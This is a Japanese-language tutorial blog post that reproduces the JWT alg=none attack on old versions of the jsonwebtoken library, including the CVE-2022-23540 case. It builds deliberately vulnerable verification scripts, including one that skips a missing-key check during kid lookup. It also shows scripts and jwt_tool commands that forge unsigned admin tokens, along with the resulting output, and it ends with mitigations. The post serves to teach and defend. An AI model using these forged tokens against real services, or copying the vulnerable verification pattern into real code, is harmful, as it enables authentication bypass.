JWTの検証プログラムに対する有名な攻撃手法にalg=none攻撃があります。JWTのalgクレーム(署名アルゴリズム)としてnone(署名なし)を指定することにより、署名を回避して、JWTのクレームを改ざんする手法ですが、手法の解説は多いもの、脆弱なスクリプトのサンプルが少ないような気がしています。そこで、node.js用の著名なJWTライブラリであるjsonwebtokenを使った簡単なサンプルにより、alg=none攻撃の解説を試みます。
なお、jsonwebtokenの最新版では今回紹介した攻撃方法は対策されているため、以下のサンプルでは古いjsonwebtokenを使っています。
alg=none攻撃とは
よく知られているように、JWTは以下のように3つのパートからなり、それぞれのパートはBase64URLエンコードされています。ヘッダとペイロードはエンコード前はJSON形式です。
eyJHHHHHHHHHHHHH.eyJPPPPPPPPPPPPPPPP.SSSSSSSSSSSS
ヘッダ ペイロード 署名
ヘッダの例を示します。以下は署名アルゴリズムとしてHS256を指定しています。
{
"alg": "HS256",
"typ": "JWT"
}
この場合、Base64URLエンコード済みのヘッダとペイロードを連結したものの署名をHS256形式で求めたものを署名としてJWTの末尾に付与します。HS256署名には秘密鍵が必要なので、秘密鍵を知らない人がヘッダやペイロードを改ざんしても、署名検証時にエラーになるので、署名されたJWT(JWS; JSON Web Signature)は改ざんに対して耐性があります。
ただし、署名アルゴリズム自体はJWTのヘッダ部にあるので、alg=none(署名なし)とすることで、署名のないJWTを受付させるというのがalg=none攻撃の原理です。
脆弱なスクリプトを作ってみる
理屈だけだとわかりにくいので、脆弱なスクリプトを作ってみます。まずは正常系の署名プログラムです。古いjsonwebtokenとしてv0.4.0を使います。
まずは、プロジェクトの作成とライブラリのインストールです。
$ mkdir badjwt; cd badjwt
$ npm -y init
$ npm install jsonwebtoken@0.4.0
以下は、name:"alice"のみをペイロードとして持つJWTを作るプログラムです。署名はHS256としており、秘密鍵(privateKey)はハードコーディングしています。
const jwt = require('jsonwebtoken')
const privateKey = require('./privateKey')
const payload = {
name: "alice",
}
const token = jwt.sign(payload, privateKey, {algorithm: 'HS256'})
console.log('作成されたトークン:', token)
module.exports = "hfxDTgIhRGWKKRJII329k7MgswIwo6vi"
実行結果の例を以下に示します。JWTの発行時刻(iat)を含むため、結果は毎回変わります。
$ node sign.js
作成されたトークン: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTd9.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
トークンの表示にはjwt.ioが便利です。第三者のサイトなので本番のJWTの貼り付けには気をつけてください(We do not record tokensとされてはいますが…)。
以下はJWTの検証プログラムです。
const jwt = require('jsonwebtoken')
const privateKey = require('./privateKey')
const packageLockJson = require('./package-lock.json')
console.log(packageLockJson.packages['node_modules/jsonwebtoken'].version)
const token = process.argv[2]
jwt.verify(token, privateKey, function(err, decoded) {
if (err) {
console.log(err)
} else {
console.log('こんちには' + decoded.name + 'さん、あなたは' + (decoded.admin ? '管理者' : '一般ユーザー') + 'です')
}
})
実行結果は下記のとおりです。「あなたは一般ユーザーです」と表示されていますが、JWTを改変して、admin: trueを追加できれば、「あなたは管理者です」と表示されます。これが攻撃のゴールです。
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTd9.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
0.4.0
こんちにはaliceさん、あなたは一般ユーザーです
まずは、単純にadmin: trueをペイロードに追加してみましょう。これはjwt_toolというツールで簡単にできます。
$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTd9.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA -I -pc admin -pv true
…
jwttool_fb11c87ccb2cd9fc062e7110632e4a7a - Injected token with unchanged signature
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTcsImFkbWluIjp0cnVlfQ.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
実行結果は以下の通り。ペイロードにadmin: trueが追加されているが、署名はそのままです。
これをverify.jsで処理すると、署名のエラーになります。
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWxpY2UiLCJpYXQiOjE2OTQxMzI4OTcsImFkbWluIjp0cnVlfQ.t1XqqDbXAuXDVzKbMwq9slWSxaZbcwDTdVZKpvcHjjA
0.4.0
Error: invalid signature
at module.exports.verify (/home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/index.js:46:21)
at Object.<anonymous> (/home/ockeghem/dev/node/badjwt/verify.js:7:5)
...
今度は、alg=noneを指定して、jsonwebtokenでJWTを作ります。以下はスクリプト。
const jwt = require('jsonwebtoken')
const payload = {
name: "alice",
admin: true
}
const token = jwt.sign(payload, null, {algorithm: 'none'})
console.log('作成されたトークン:', token)
$ node alg-none.js
作成されたトークン: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTM1NjE3fQ.
以下は、alg=noneのJWTをjwt.ioで表示したもの。alg:"none"とadmin:trueに注目してください。
以下は、alg=noneのトークンをverify.jsにて処理した結果です。署名エラーにならず、「あなたは管理者です」と表示されています。攻撃の成功です。
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTM1NjE3fQ.
0.4.0
こんちにはaliceさん、あなたは管理者です
jsonwebtokenをv0.4.1 にバージョンアップすると…
素朴なalg=none攻撃に成功しましたが、jsonwebtokenをv0.4.1(2014年7月15日)にバージョンアップすると、攻撃は失敗します。
$ npm install jsonwebtoken@0.4.1
この状態でverify.jsを実行
$ node verify.js eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTM1NjE3fQ.
0.4.1
Error: jwt signature is required
at module.exports.verify (/home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/index.js:42:21)
at Object.<anonymous> (/home/ockeghem/dev/node/badjwt/verify.js:7:5)
...
デバッガで追いかけると、jsonwebtokenの下記のif文でエラーになっていることがわかります。verify.js側で署名鍵を指定されているのに、JWT側に署名がないことをエラーにしています。
41 if (parts[2].trim() === '' && secretOrPublicKey) // signatureが空だとここでエラーになる
42 return callback(new Error('jwt signature is required'));
ならば、ダミーの署名(ここでは"a")をつけてやれば…となりますが、今度は「alg=noneなのに署名がある」というエラーになります。
72 function createNoneVerifier() {
73 return function verify(thing, signature) {
74 return signature === ''; // signatureが空でないとここでエラーになる
75 }
76 }
署名鍵が空になるシナリオを考える
jsonwebtokenのv0.4.0を使えば素朴なalg=none攻撃が成立することがわかりましたが、2014年7月に対策済みとなると、いささか古すぎるという気がします。そこで、もう少し新しいjsonwebtokenでも成立する攻撃を考えてみましょう。
先に見たように、jsonwebtoken側のチェックは以下のものでした。
- jsonwebtokenのverifyメソッドで署名鍵を指定しているのにJWTの署名が空だとエラー
- alg=noneを指定しているのにJWTの署名があればエラー
そこで、verifyメソッドで署名鍵として空(null、undefined、false、空文字列等)を指定してしまう状況を作れば、alg=none攻撃が成立するのではないかという着想が得られます。
verifyメソッドで指定する署名鍵が空になる状況は簡単に言えばスクリプトのバグですが、まったくありえない状況とは言えません。たとえば、署名鍵のローテーションをしている場合に、このような状況がありえます。
先のスクリプトでは、JWT署名鍵はソースコード上にハードコーディングされていましたが、現実のアプリケーションでは、JWTの署名鍵はハードコーディングせず、かつ、一定期間毎にローテーションする場合があります。そのようなニーズのために、JWTのヘッダには、kid(Key ID)というクレームがあります。これは複数の署名鍵がある場合に、JWTで使われている署名のキーを指定するためのものです。
kidを使った署名スクリプト例を以下に示します。簡単にするため、署名鍵とkid(153)はハードコーディングしています。
const jwt = require('jsonwebtoken')
const privateKeys = require('./privateKeys')
const kid = 153
const privateKey = privateKeys[kid]
const payload = {
name: "alice",
}
const token = jwt.sign(payload, privateKey, {algorithm: 'HS256', header: { kid: kid}})
console.log('作成されたトークン:', token)
module.exports = {
153: "GSPOtmXmYctdGBo5bCdGIRceHMKumuFG",
178: "fwERnklA70ERNa8nJCxebKl0FASEkZFi"
}
作成されたJWT例を示します。ヘッダ部にkid:153が指定されていることがわかります。
kidに対応したJWT検証スクリプトを以下に示します。これが新しい攻撃対象になります。
const jwt = require('jsonwebtoken')
const privateKeys = require('./privateKeys')
const packageLockJson = require('./package-lock.json')
console.log(packageLockJson.packages['node_modules/jsonwebtoken'].version)
const token = process.argv[2]
const decodedToken = jwt.decode(token, { complete: true })
const kid = decodedToken.header.kid
if (!kid) {
console.log('トークンにkidがありません')
return
}
const privateKey = privateKeys[kid] // privateKeyが空でないチェックが抜けている
jwt.verify(token, privateKey, function(err, decoded) {
if (err) {
console.log(err)
} else {
console.log('こんちには' + decoded.name + 'さん、あなたは' + (decoded.admin ? '管理者' : '一般ユーザー') + 'です')
}
})
上記のように、JWT内にkidクレームが含まれていることはチェックしていますが、それをキーとして署名鍵を求める際に、署名鍵が空でないことのチェックが抜けています。
このため、kidとして「存在しないキー」を指定することで、署名鍵が空(undefined)になる状況を作ることができます。
このようなJWTを生成するスクリプトを以下に示します。
const jwt = require('jsonwebtoken')
const payload = {
name: "alice",
admin: true
}
const token = jwt.sign(payload, null, {algorithm: 'none', header: { kid: 111}})
console.log('作成されたトークン:', token)
このスクリプトでは、kid:111とすることにより、対応する署名鍵がない状況を作っています。実行例は下記となります。
$ node alg-none2.js
作成されたトークン: eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoxMTF9.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTUxODk5fQ.
この際のJWTは下図のとおりです。
これをverify2.jsで検証してみましょう。
$ node verify2.js eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoxMTF9.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTUxODk5fQ.
8.5.1
こんちにはaliceさん、あなたは管理者です
ご覧のように「あなたは管理者です」と表示されました。攻撃の成功です。jsonwebtokenのバージョンは8.5.1と表記されていますね。これはバージョン9.0.0の直前のバージョンです。
jsonwebtokenの最新版では攻撃は防御される
この攻撃は、jsonwebtokenの9.0.0(2022年12月21日)にて対策されました。対策版では、alg=noneを使う場合は、verifyメソッドに{ algorithms: ["none"] } を明示する必要があります(参考)。対策前の状況はCVE-2022-23540と識別されています。
本稿執筆時点でのjsonwebtokenの最新版(9.0.2)で先のPoCを実行すると、以下のエラーになります。「please specify "none" in "algorithms" to verify unsigned tokens」というエラーなので、上記の説明と整合しています。
$ npm install jsonwebtoken@9
$ node verify2.js eyJhbGciOiJub25lIiwidHlwIjoiSldUIiwia2lkIjoxMTF9.eyJuYW1lIjoiYWxpY2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjk0MTUxODk5fQ.
9.0.2
JsonWebTokenError: please specify "none" in "algorithms" to verify unsigned tokens
at /home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/verify.js:117:19
at getSecret (/home/ockeghem/dev/node/badjwt/node_modules/jsonwebtoken/verify.js:97:14)
...
実は、この問題は私も気づいていた(参考)のですが、これは脆弱性ではなく仕様であり、アプリケーション側で対策する責務だろうと思い、特に届け出などしないで放置しておりました。届け出していれば、CVEを一つゲットできていたかもしれません。ただ、この方法はCTFで見かけたことがあるので、一部では知られていたということだと思います。
まとめ
JWTの著名ライブラリjsonwebtokenを使って、alg=none脆弱性を再現する方法について説明しました。2番目のシナリオがjsonwebtoken側で対策されたのは昨年末なので、脆弱なライブラリを使っているサイト等は結構あるように思います。
対策としては、以下のいずれかで上記シナリオの攻撃を防御できますが、全て対応することを推奨します。
- jsonwebtokenを最新版に更新する
- verifyメソッドのオプションでalgorithmsを明示する
- kidから署名鍵を得る場合は結果のバリデーションを行う